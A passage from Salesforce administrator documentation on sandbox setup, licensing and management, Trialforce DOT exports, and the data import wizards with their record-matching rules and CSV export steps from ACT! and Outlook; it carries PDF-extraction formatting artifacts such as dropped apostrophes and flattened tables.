Select the Copy Chatter Data checkbox if you need to copy it.
The setup audit trail history of your production organization wont be copied to your sandbox. The audit trail for your
sandbox organization will start when you begin to use it.
Archived activities (tasks and events that arent available in the production organization because theyre over a year old)
and password history (users previous passwords) wont be copied to your sandbox.
Note: Dont increase the default selections unless special circumstances require it. Too much data can cause significant
delays in the time it takes to copy your sandbox.

772

Data Management

Sandbox Overview

Accessing Sandboxes

Access changes for sandbox users:


A sandbox refresh deletes and recreates the sandbox as a new copy of the production organization. In effect, this reverses
any manual access changes you've performed. If you created sandbox-only users, they will no longer exist, and a users
profile and permissions revert to their values in the production organization. This means that after a refresh, any access
changes will need to be repeated in the new copy.
You can create users in your production organization that are inactive, and then activate them in a sandbox. This is a
good way to create a user in a sandbox that has the appropriate permissions to develop in a sandbox. For more
information, see Editing Users on page 507.
Many development and testing tasks require the Modify All Data permission. Because your developers might not
have that permission in the production organization, you may need to increase their permissions in a sandbox. Exercise
caution when granting this permission in sandbox organizations that contain sensitive information copied from production
(for example, social security numbers). For more information on permissions, see Overview of User Permissions and
Access on page 555.
You can create new users for sandbox development, but these count against the number of licensed users in your
organization. To reduce your license count, you can disable production users who wont need access to the sandbox.
For more information, see Deactivating Users on page 509.
To grant users access to a sandbox, you must log in as the administrator on the sandbox organization, and then create
or upgrade user access in the sandbox.

Always log in to your sandbox organization using the https://test.salesforce.com login URL.
Remember to log in using the modified username as described in Username and Email Address Modification on page 771.
If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent
access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access.
All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and
select SAML Enabled. You must change the value of the Recipient URL in the certificate for your client application as
well. For more information, see Configuring SAML Settings for Single Sign-On on page 687.

Sandbox Storage Limits

Full copy sandboxes have the same storage limit as your production organization.
Configuration-only sandboxes have a 500 MB storage limit.
Developer sandboxes have a 10 MB storage limit.
Sandboxes dont send email notifications when storage limits are reached. However, if you reach the storage limit of your
sandbox, you cannot save new data in your sandbox. To check your storage limits, click Your Name > Setup > Data
Management > Storage Usage in your sandbox. For more information on storage limits, see Monitoring Resources on
page 752.

Customization and Data Changes

Customizations and data changes in your production organization dont automatically appear in your sandboxes. You must
create a new sandbox or refresh an existing one to see the customizations made to your organization since the last time
you created or refreshed a sandbox.
You can only add, edit, or delete Apex using the Salesforce user interface in a Developer Edition or sandbox organization.
In a Salesforce production organization, you can only make changes to Apex by using the compileAndTestAPI() call.
For more information, see the Force.com Apex Code Developer's Guide.
If your sandbox is the same version as Force.com AppExchange, you can:

773

Data Management

Sandbox Overview

Install and deploy apps from Force.com AppExchange in your sandbox.


Publish apps from your sandbox to Force.com AppExchange.
Publishing managed packages from a Force.com Sandbox is not advised, as refreshing or deleting the sandbox will
prevent any revisions to that managed package.
The version of your sandboxes may differ from Force.com AppExchange around the time of a Salesforce release. Check
the logo in the upper left corner of your sandbox home page for version information.

If your organization uses quote templates, and you create a configuration-only sandbox, templates that contain Text/Image
fields cannot be opened for editing within the sandbox.

Service Exclusions

The following features are disabled and cannot be enabled in sandboxes:

Case escalation
Opportunity reminders
Contract expiration warnings
Subscription summary
Data exports (using Export Now or Schedule Export on Your Name > Setup > Data Management > Data Export)
The ability to create Salesforce sandboxes.
Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send
email to contacts, customers and users who should not interact with sandboxes.

Testing Salesforce for Google AdWords in your sandbox is not supported. Attempting to test Salesforce for Google
AdWords in your sandbox will result in errors because your sandbox organization operates with the same link to your
Google AdWords account as your production organization.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
Other Service Differences

Only custom links created as relative URLs, such as /00Oz0000000EVpU&pv0={!Account_ID} will work when copied
to your sandboxes. Custom links created as absolute URLs, such as
https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, dont work in your organization's
sandboxes. We recommend that you use only relative URLs in your production organization. Otherwise, you will need to
correct the URLs in each sandbox.
Salesforce has a background process that permanently deletes records in the Recycle Bin that are older than 30 days. This
process runs at different times on different servers, so its timestamp in your sandbox differs from its timestamp in your
production organization. Applications and integrations that depend on this timestamp may fail if they are first connected
to one environment, such as your production organization, and then later connected to another environment, such as your
sandbox. Keep this in mind when developing applications and integrations that depend on this timestamp.
Note that the time of the latest execution of the background delete process is available through the getDeleted() API
call. For more information, see the SOAP API Developer's Guide.

See Also:
Sandbox Overview
Sandbox Restrictions and Licenses

774

Data Management

Sandbox Overview

Sandbox Restrictions and Licenses


Available in: Enterprise, Unlimited, and Database.com Editions

Sandbox services are restricted if your organization doesn't comply with salesforce.com's licensing rules. This typically happens
when sandbox licenses expire.
The sandbox license types are Full, Configuration Only, and Developer. Each license permits the use of one sandbox.
The sandbox licenses are hierarchical. Some licenses permit the use of multiple sandbox types.
Full Sandbox License
Permits the use of a full, configuration-only, or developer sandbox.
Configuration Only Sandbox License
Permits the use of a configuration-only or developer sandbox.
Developer Sandbox License
Permits the use of a developer sandbox only.
There are a few different types of restrictions you might encounter when your organization doesn't comply with licensing
rules.
Unable to Refresh a Particular Type of Sandbox
CauseYour organization is using more sandboxes of a specific type than its sandbox licenses permit.
ExampleYour organization has three full sandboxes, but only two full sandbox licenses.
EffectYou can't refresh a sandbox of this type. In the example, you can't refresh full sandboxes.
ResolutionDelete sandboxes to comply with the number allowed by your organization's sandbox licenses, or purchase
more sandbox licenses.
All Sandboxes of a Particular Type are Locked
CauseThe license count of a given type, including higher hierarchical types, is zero.
ExampleYour organization has three full sandboxes and zero full sandbox licenses.
EffectAll sandboxes of a particular type are locked. You don't have access to the sandboxes.
ResolutionPurchase the correct sandbox licenses to unlock the sandboxes. If you don't purchase enough licenses, you
can't refresh sandboxes of that type.
All Sandboxes are Locked
CauseYour production organization is locked.
ExampleYour organization has one full sandbox and one developer-sandbox, but you can't log in to either sandbox.
EffectIf your production organization is locked, all sandboxes associated with the organization are locked.

775

Data Management

Sandbox Overview

ResolutionContact your salesforce.com representative to unlock your organization. When your production organization
is unlocked, the sandboxes are unlocked as well.

See Also:
Sandbox Overview
Sandbox Setup Tips and Considerations

Managing Sandboxes
Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


To view a sandbox:

View Setup and Configuration

To create, refresh, activate, and delete sandboxes:

Modify All Data

To manage your sandboxes, click Your Name > Setup > Data Management > Sandbox. A list of your existing sandboxes
displays.

Click New Sandbox. For information on different kinds of sandboxes, see Sandbox Overview on page 767.
Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.

Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit.
Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and
who created them.
Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes that
are eligible for refreshing. For full-copy sandboxes, this is any time after 30 days from the previous creation or refresh of
that sandbox. For configuration-only sandboxes (including developer sandboxes), you can refresh once per day. Your
existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive
until you activate it.
Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it. Salesforce
only displays this option for sandboxes that are not activated.
Caution: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently
deletes the existing version and all data in it. Your production organization and its data will not be affected.

Click Del to delete a sandbox. If you delete a sandbox, you must wait 29 days before replacing it with a new full-copy
sandbox, or one day before you can replace it with another configuration-only sandbox.
Caution: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and
its data will not be affected.

Click Login to log in to a sandbox. Salesforce only displays this option for active sandboxes.

776

Data Management

Using Trialforce to Export Organization Data to a DOT file

Note that the Login button is for administrators and may not always be available; however, you can log into an active
sandbox at https://test.salesforce.com by entering your modified username and password. To change your
username or password, see Changing Your Password on page 43.

Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.

See Also:
Sandbox Overview

Using Trialforce to Export Organization Data to a DOT file


Available in: All Editions except for Database.com.

User Permissions Needed


To configure and export a Trialforce DOT:

Modify All Data

To view the list of exported DOTs:

View Setup and Configuration

Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To configure and export your DOT:
1. Go to Your Name > Setup > Data Management > Export to DOT File.
2. Select the information to include in your DOT:

Allinclude all data and metadata


All Except Documents and Attachmentsinclude everything except items in the Documents tab and on the

Attachments related list on any object


Setup Onlyinclude just the metadata, which contains configuration information such as objects and fields, but not
records

3. Optionally, select the Include debugging info checkbox if you want to track what happens as the DOT is created.
This is especially useful if the DOT creation process fails, as you'll have a log of what happened.
4. Optionally, select the Don't rebase dates checkbox if you want the values in date records to remain the same every
time an organization is signed up from your DOT.
5. Select how you want the DOT export to output. You can choose the following options:

Documents TabSaves the DOT export as a file under the Documents tab.
Appserver's Local FilesystemSaves the DOT export to the local Unix filesystem of the appserver that did

the export.

Trialforce UploadDepending on the size of your Trialforce DOT, you either see a message with your Trialforce

DOT ID or see a screen saying that you will receive an email when it has been created. If your Trialforce DOT creation
doesn't complete within a minute or so, you will receive an email when it has finished. Once you receive the "ready for
use" confirmation email, your Trialforce DOT is ready.

777

Data Management

Using Trialforce to Export Organization Data to a DOT file

Send the Trialforce DOT ID to your salesforce.com representative to get your trial set up.
If your Trialforce DOT creation fails, you will receive an email notification.
For more information about Trialforce, contact your salesforce.com representative.

See Also:
Viewing Your Exported TrialForce DOTs

Viewing Your Exported TrialForce DOTs


Available in: All Editions except for Database.com.

User Permissions Needed


To configure and export a Trialforce DOT:

Modify All Data

To view the list of exported DOTs:

View Setup and Configuration

Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To view a list of your exported TrialForce DOTs, go to Your Name > Setup > Data Management > TrialForce DOT
Exports.
On this page you can see a list of all the TrialForce DOTs you've exported using TrialForce Upload. Click a column
heading to sort the list in ascending order. Click the heading a second time to sort in descending order.
For more information about Trialforce, contact your salesforce.com representative.

778

Data Management

Importing Overview

Importing Overview
Available in: All Editions except Database.com
Organization import not available in: Personal Edition
Custom object import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Solution import not available in: Personal, Contact Manager, and Group Editions
Person account import not available in: Personal, Contact Manager, Group, and Professional Editions

You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format,
such as Excel or GoldMine.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

The following table summarizes the kinds of records that can be imported.
Which records can be imported?
Type of record

Import record limit

Users with access

Overview topic

Business accounts and contacts 500 at a time


owned by you

All users

What Is Imported for


Business Accounts and
Contacts?

Business accounts and contacts 50,000 at a time


owned by different users

Administrators;

What Is Imported for


Business Accounts and
Contacts?

Person accounts owned by you 50,000 at a time

All users

What Is Imported for Person


Accounts?

Person accounts owned by


different users

50,000 at a time

Administrators;

What Is Imported for Person


Accounts?

Leads

50,000 at a time

Users with the Modify All


Data permission

Users with the Import Person


Accounts permission
Administrators;

What is Imported for Leads?

Users with Read, Create,


and Edit on leads and the
Import Leads permission
Campaign members

50,000 for importing leads as Administrators;


What is Imported for
new campaign members and
Campaign Members?
Marketing users (or users with
updating the status of existing
the Import Leads permission
campaign members.

779

Data Management

Importing Overview

Which records can be imported?


Type of record

Import record limit

Users with access

Overview topic

and the Edit permission on


campaigns) can import new
leads as campaign members.
Users also need the Read
permission on contacts to use
the campaign update wizard
to make existing leads and
contacts campaign members.
Custom objects

50,000 at a time

Administrators;
Users with the Modify All
Data permission

Solutions

50,000 at a time

Administrators;
Users with the Import
Solutions permission

Assets

What Is Imported for Custom


Objects?

What Is Imported for


Solutions?

These records cannot be imported via the import wizards.

Cases
Campaigns
Contracts
Documents
Opportunities
Products

For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page
787.

Process for Importing Records


To import records into Salesforce, follow the steps in these topics:
1. Creating Export Files for Import Wizards
2. Preparing Your Data for Import
3. Accessing the Import Wizards

780

Data Management

Importing Overview

Note: In addition to the record limits on each import, your import is also subject to the overall storage limits for your
organization. For storage limits, see Monitoring Resources on page 752.
Although they are custom objects, relationship group members cannot be imported. For more information on the
behaviors of relationship group members, see Relationship Group Considerations on page 2679.

See Also:
Importing Multiple Currencies
Undoing an Import
Importing Campaign Members
Importing Articles
FAQ: Importing
Tip sheet: Importing Your Data
Administrator tip sheet: Importing Your Organization's Data

What Is Imported for Business Accounts and Contacts?


Available in: All Editions except Database.com
Organization import not available in: Personal Edition, Database.com

The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent
duplicates. Contacts can be matched by Salesforce ID, name, or email. Business accounts can be matched by Salesforce ID or
by name and site. Matching by Salesforce ID is inclusive of both contacts and business accounts; if you match one by Salesforce
ID, the other will also be matched by Salesforce ID.
Matching by Name and Site
If you choose to match contacts by name and business accounts by name and site (which are the recommended options), the
import wizards automatically create a business account for each unique business account name and site in the import file. They
also create a separate contact for each contact name listed in the file. The contacts are then associated with the appropriate
business accounts.
If the business account or contact already exists in the system, and you have read/write access to the record, the wizards add
your import data to the existing data in Salesforce. In addition, if a business account or contact name in your import file is
similar to an existing business account or contact name, the import data is added to the existing data in Salesforce (see Can
the contact and business account import wizards recognize similar names? on page 3630).
Matching by Salesforce ID
You can also choose to match contacts and business accounts by Salesforce ID. With this selected, the Salesforce ID will be
the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID as a record
in Salesforce, then that record will be updated in Salesforce. Note that record IDs are case-sensitive and must match exactly.

781

Data Management

Importing Overview

Overwriting Existing Account Values


The wizards never overwrite your existing business account fields unless you check the Overwrite existing account
values checkbox in the wizard. With this box checked, you can insert or update existing business account fields with new
data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the
wizard updates any empty business account fields, but does not touch any fields with existing data.
If you do not have read/write access to an existing business account or contact, the wizards create a new business account or
contact owned by you. In addition, the wizards create new business accounts and contacts based on specific fields in your
import file. See When do the import wizards create new contacts and business accounts? on page 3628.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, the import wizards can also import new business
account and contact notes. The wizards do not import notes that are exact duplicates of existing contact or business account
notes.

See Also:
Accounts Overview
Import My Organizations Accounts and Contacts
FAQ: Importing

What Is Imported for Person Accounts?


Person account import available in: Enterprise, Unlimited, and Developer Editions

The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according
to one of the following fields: Account Name, Salesforce ID, or Email. In your import file, include a column for the
field that you are using for record matching.
Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to
the new name.

Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that
this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same
name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the
import to prevent unintended matches.
Matching by Salesforce ID
A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same
Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running
reports that include the ID field of the record.
Matching by Email
With this option, person accounts in your import file will be matched with existing person accounts in Salesforce according
to the exact value in the Email field.

782

Data Management

Importing Overview

Matching by External ID
An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that
have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc.
However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 1081.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Note: Only account custom fields with the External ID attribute are available for this step. While all custom contact
fields are available on person account page layouts, custom contact fields with the External ID attribute are not
available as matching fields during person account import.
Ignoring or Updating Matching Records
When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can
choose one of the following actions:

Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then
update the existing record.

See Also:
Import My Person Accounts
Import My Organization's Person Accounts
FAQ: Importing

What is Imported for Leads?


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is
hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise,
Unlimited, and Developer Editions only.)

783

Data Management

Importing Overview

Importing Leads With Matching Types


You can choose whether to match leads in your import file with existing leads in Salesforce. Leads can be matched according
to the following types: Salesforce ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads.
For example, if you are matching by email and a lead in your source file has the same email as a lead in Salesforce, then that
lead will be updated in Salesforce. If you are not matching by email and a lead in your source file has the same email as a lead
in Salesforce, then a new lead will be created.
The wizards never overwrite your existing lead fields unless you check the Overwrite existing lead values checkbox
in the wizard. With this box checked, you can insert or update existing lead fields with new data. However, you cannot use
this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty lead
fields, but does not touch any fields with existing data.
Importing Leads Without Matching Types
If you choose a matching type of None in the lead import wizard, for each lead in your import file, the Import My
Organizations Leads wizard creates a new lead in Salesforce. You can merge leads after they are imported; see Merging
Duplicate Leads on page 2895.

See Also:
Import My Organizations Leads
FAQ: Importing

What is Imported for Campaign Members?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign,
and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and
into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings.
(Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your
import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard
does not merge the duplicate data into one lead.
Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status
value of the matching contact or lead in Salesforce. You cannot add new leads or contacts, nor can you update any other
fields in the existing lead or contact records.

See Also:
Lead Import Wizard
Campaign Update Wizard
FAQ: Importing

784

Data Management

Importing Overview

What Is Imported for Custom Objects?


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import custom objects:

Modify All Data

The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according
to one of the following fields: custom object name, Salesforce ID, or external ID. In your import file, include a column for
the field that you are using for record matching.
Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that
this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same
name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the
import to prevent unintended matches.
Matching by Salesforce ID
A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same
Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running
reports that include the ID field of the record.
Matching by External ID
An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that
have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc.
However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 1081.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Ignoring or Updating Matching Records
When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can
choose one of the following actions:

Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.

785

Data Management

Importing Overview

Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then
update the existing record.
Note: Custom objects with two master-detail relationships cannot be imported using the import wizard.

See Also:
Import My Organization's Custom Objects
FAQ: Importing

What Is Imported for Solutions?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import solutions:

Import Solutions

The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one
of the following fields: solution title, Salesforce ID, or external ID. In your import file, include a column for the field that you
are using for record matching.
Matching by Solution Title
When you select this option, the import wizard will detect existing solutions in Salesforce that have the same title. Note that
this type of matching is not case-sensitive - for example, titles that begin with a capital letter will be matched with the same
title that begins with a lowercase letter. If necessary, scan and standardize your solution titles before performing the import
to prevent unintended matches.
Matching by Salesforce ID
A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same
Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running
reports that include the ID field of the record.
Matching by External ID
An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that
have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc.
However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 1081.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.

786

Data Management

Importing Overview

When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Ignoring or Updating Matching Records
When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can
choose one of the following actions:

Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then
update the existing record.

See Also:
What are Multilingual Solutions?
Import My Organization's Solutions
FAQ: Importing

Notes on Importing Data


Available in: All Editions except Database.com
Organization import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Custom object import not available in: Personal Edition
Solution import not available in: Personal, Contact Manager, and Group Editions

Field AccessibilityIn the organization-wide import wizards for accounts and leads, you can import data into any standard
or custom field even if it is hidden or read only in your page layout or field-level security settings.
For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout
or field-level security settings.
See Managing Page Layouts on page 1276 and Field-Level Security Overview on page 663. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.

New Values for Picklists and Multi-Select PicklistsIf your import file contains data to be displayed in picklists or
multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid
picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator
can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100
new picklist or multi-select picklist values for any field during a single import.

787

Data Management

Importing Multiple Currencies

If your organization uses the Translation Workbench, the import wizards look for matching translated values before creating
new inactive picklist values. See Setting Up the Translation Workbench on page 487 for more information.

Multi-Select PicklistsTo import multiple values into a multi-select picklist, separate the values by a semicolon in your
import file.
You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import
file for any one record, the import wizard leaves the field blank in that record.

CheckboxesTo import data into a checkbox field, use 1 for checked values and 0 for unchecked values.
Default ValuesFor picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard,
the default value for the field, if any, is automatically inserted into the new or updated record.
Date/Time FieldsEnsure that the format of any date/time fields you are importing matches how they display in Salesforce
per your locale setting. For information on setting your locale, see Editing Your Personal Information on page 30.
Formula FieldsFormula fields cannot accept imported data because they are read only.
Field Validation RulesSalesforce runs validation rules on records before they are imported. Records that fail validation
aren't imported. Consider deactivating the appropriate validation rules before running an import if they affect the records
you are importing.
Universally Required FieldsYou must include universally required fields in your import files or the import will fail. For
more information, see About Universally Required Fields on page 1196.

Importing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.

Import My Accounts and Contacts


For personal imports, all amounts in new accounts and contacts are imported in your personal currency. When import updates
amounts in existing records, the amounts in your file are converted from your personal currency to the currency of the account
or contact.
For example, if your personal currency is U.S. dollars, and your import file has 100 as the annual revenue of an existing account
with Account Currency of euros, then the new Annual Revenue value of the account will be EUR 92, assuming a
conversion rate of 0.92 and EUR as the currency code for euros.

Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency
type for amount fields using the Currency ISO Code column in your import file. The following rules apply:

Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency
codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars.
Click Your Name > Setup > Company Profile > Manage Currencies to see a list of valid codes for your organization.
Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code
column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts
and contacts.
Updating the currency code - When updating the currency code but not the currency amount for existing accounts and
contacts, the existing amount is not converted to the corresponding number in the new currency.

788

Data Management

Creating Export Files for Import Wizards

Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used
instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but
AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is
U.S. dollars.
Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency
ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal
currency is U.S. dollars (currency code = USD), this is imported as USD 100.
When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any
amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that
has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.

See Also:
Managing Multiple Currencies

Creating Export Files for Import Wizards


Available in: All Editions except Database.com

To import data into Salesforce, you first need to export the data from your existing application. This creates an export file of
the information you want to import.

Exporting from ACT!


Exporting from Outlook
Exporting from GoldMine 4.0
Exporting from GoldMine 5.0
Exporting from Palm Desktop
Exporting from Other Data Sources
Exporting from Salesforce

After creating the export file, compare your data with the Salesforce fields available for import, and verify that your data will
be mapped into the appropriate Salesforce fields. See Preparing Your Data for Import on page 795.
Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching
Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads
in your import file with existing leads in Salesforce. Leads can be matched according to the following types: Salesforce ID,
name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching by
email and a lead in your source file has the same email as a lead in Salesforce, then that lead will be updated in Salesforce. If
you are not matching by email and a lead in your source file has the same email as a lead in Salesforce, then a new lead will
be created.
Note:
If you are the administrator and are importing for multiple users, you must combine your export data into a single
CSV file using Excel.
When importing new records, add or modify a Record Owner field in your file such that the field contains the names
of existing, active users. Enter the users full usernames (for example, jsmith@acme.com) or first and last names (for

789

Data Management

Creating Export Files for Import Wizards

example, Joe Smith, or Smith Joe for Asian locales). This will specify the owner of the imported data for an
organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get
updated when records are updated via import. All records retain their existing owners; and the Record Owner field
in your import file is ignored for these records.
When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data,
instead of using a Record Owner field.

See Also:
Preparing Your Data for Import

Exporting from ACT!


ACT! allows you to export contact data in a text-delimited format which can then be imported. To export contact data from
ACT! (versions 4.0 or 2000):
1.
2.
3.
4.
5.
6.
7.

Launch ACT! and open your database.


Select File > Data Exchange > Export....
Select the file type Text-Delimited.
Choose a file name and location for the exported data and click Next.
Select Contact records only.
Click the Options... button.
Select Comma for the field separator character.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Select Yes, export field names and click OK.


9. Click Next.
10. Select All Records and then click Next.
11. Leave the export field order list alone, and click Finish.

See Also:
Default Field Mapping for ACT!

Exporting from Outlook


Microsoft Outlook allows you to export data in a CSV (comma-separated values) format which can then be imported.
1. Launch Outlook.
2. Select File > Import and Export....
3. Choose Export to a file and click Next.

790

Data Management

Creating Export Files for Import Wizards

4. Choose Comma Separated Values (Windows) and click Next.


Note: If commas are not appropriate for your locale, use a tab or other delimiter.

5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple
folders.
6. Choose a file name for the exported data and click Next.
7. Click Finish.

See Also:
Default Field Mapping for Outlook

Exporting from GoldMine 4.0


GoldMine 4.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine
4.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations.

Exporting Contacts from GoldMine 4.0


Exporting Notes from GoldMine 4.0

Exporting Contacts from GoldMine 4.0


To export contact data from GoldMine 4.0, follow these steps:
1.
2.
3.
4.
5.
6.
7.
8.

Launch GoldMine 4.0.


Choose Export Records from the Tools menu.
